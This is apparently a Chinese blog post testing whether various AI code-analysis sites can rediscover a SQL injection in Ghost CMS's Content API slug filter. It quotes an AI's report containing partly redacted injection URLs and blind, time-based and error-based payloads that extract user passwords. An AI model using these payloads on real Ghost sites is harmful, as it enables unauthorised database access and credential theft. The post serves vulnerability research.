出乎意料,一句话prompt,它真的重新发现了。

CVE-2026-26980

我们继续学习Claude发现的漏洞,这次是Ghost CMS的SQL注入漏洞,可以看到:

The Ghost Content API, which is publicly accessible by design, fails to properly sanitize the slug filter parameter in query strings. An unauthenticated attacker can inject SQL via a crafted slug:[...] filter value.

利用slug:[...]可以进行注入。 可以看官方公告补丁代码 可以看到是ghost/core/core/server/api/endpoints/utils/serializers/input/utils/slug-filter-order.js这个文件中,

order += `WHEN \`${table}\`.\`slug\` = '${slug}' THEN ${index} `;

直接对slug进行了拼接操作,导致注入漏洞。

AI

如何复现这个发现呢? 我们首先拿着这段代码,给到不同的ai,ai基本上都能发现有sql拼接造成的注入风险。

我们在分析CVE-2026-32316漏洞时,也是采用的这个方式。这个方式也有缺点,ai看到这段代码,能够发现漏洞,同样的,人类看到这段代码,也会判断存在风险。

代码分析

那么是否能通过ai代码分析发现漏洞呢?

首先我们找到支持代码分析的ai网站,尝试进行代码分析。 使用站点1分析时,ai问答能够比较方面的让我们了解代码逻辑。但是ai分析的是最新代码,这个版本里面sql注入已经修复了。当我们尝试分析漏洞版本时,网络问题导致我们无法使用。

于是询问DeepSeek,是否有站点1的替代网站,这个时候,我们找到了站点2。

用同样的方法,我们在站点2上面进行复现,我们添加漏洞版本的代码,等待一会之后,代码添加成功了。

于是我们对代码进行提问分析,发现站点2的分析相对站点1简陋一些,似乎是prompt写死了,总之输出的结构相对固定并且简短。我们切换模型的时候,也是输出的相同结构,产出的差异不大。都发现不了注入漏洞。

无奈之下,我们直接让其分析ghost/core/core/server/api/endpoints/utils/serializers/input/utils/slug-filter-order.js,结果,ai马上表示道歉,并且说里面有sql注入漏洞。

于是我们问ai为什么之前没有发现,ai表示,之前搜索的范围有限,没有在这个路径下进行搜索。

这一点的启示是,ai确实能够发现漏洞,但是需要更大的context或者说更多的token来分析。

ai

接着我们尝试让其他ai进行分析代码,由于是我们没有使用api,基本上ai不能进行深入分析。

最后我们发现,ai站点3居然能够发现该漏洞。

最后我们给出AI站点3的分析结果:


🎯 PRIMARY VULNERABILITY: slugFilterOrder SQL Injection (CRITICAL)

Location

ghost/core/core/server/api/endpoints/utils/serializers/input/utils/slug-filter-order.js — Line 9

Vulnerable Code

const slugFilterOrder = (table, filter) => {
    let orderMatch = filter.match(/slug:\s?\[(.*)\]/);

    if (orderMatch) {
        let orderSlugs = orderMatch[1].split(',');
        let order = 'CASE ';

        orderSlugs.forEach((slug, index) => {
            order += `WHEN \`${table}\`.\`slug\` = '${slug}' THEN ${index} `;
            //                              ^^^^^^^ INJECTION POINT ^^^^^^^
        });

        order += 'END ASC';
        return order;
    }
};

Root Cause

On line 9, the slug variable is extracted directly from the user-provided filter query parameter and interpolated unsanitized into a SQL string via template literals ('${slug}'). There is no escaping, no parameterized binding, and no input validation — a textbook SQL injection.

Attack Vector (Public Content API)

The vulnerability is reachable through the public Content API (only requires a publicly-shared Content API key, which is embedded in every Ghost site’s frontend JavaScript):

GET 作者有意编辑去掉?filter=slug:[getting-started' OR 1=1 --]&key=CONTENT_API_KEY

This generates the SQL:

CASE WHEN `tags`.`slug` = 'getting-started' OR 1=1 --' THEN 0 END ASC

Affected Endpoints

Endpoint File Table
GET 作者有意编辑去掉 作者有意编辑去掉.js (line 96) posts
GET 作者有意编辑去掉 作者有意编辑去掉.js (line 69) posts
GET 作者有意编辑去掉 作者有意编辑去掉.js (line 10) tags
GET 作者有意编辑去掉 作者有意编辑去掉.js (line 7) users

Exploitation Examples

  • Blind boolean-based data extraction:
    filter=slug:[x' OR (SELECT 作者有意编辑去掉(password,1,1) FROM users LIMIT 1)='a' --]
    
  • Time-based blind extraction:
    filter=slug:[x' OR IF(作者有意编辑去掉((SELECT password FROM users LIMIT 1),1,1)='a',SLEEP(5),0) --]
    
  • Error-based extraction (MySQL):
    filter=slug:[x' OR 作者有意编辑去掉(1,CONCAT(0x7e,(SELECT password FROM users LIMIT 1))) --]
    

Impact

  • Confidentiality: HIGH — Full database data extraction (admin passwords, member data, API keys)
  • Authentication: None required beyond a public Content API key
  • Complexity: LOW — Simple URL parameter manipulation

后面还有其他输出删除掉了。

总结

这个结果是非常出乎意料的。

因为之前Claude Mythos一直说很厉害,相应地,就是说其他AI暂时还没有那个能力。通过这个测试,我们发现ai不仅发现了漏洞,还给出了分析和poc,非常强。

其中有两个页面显示用了11万和14万token,不知道总的token是多少,实际成本是多少。

接下来,继续研究一下。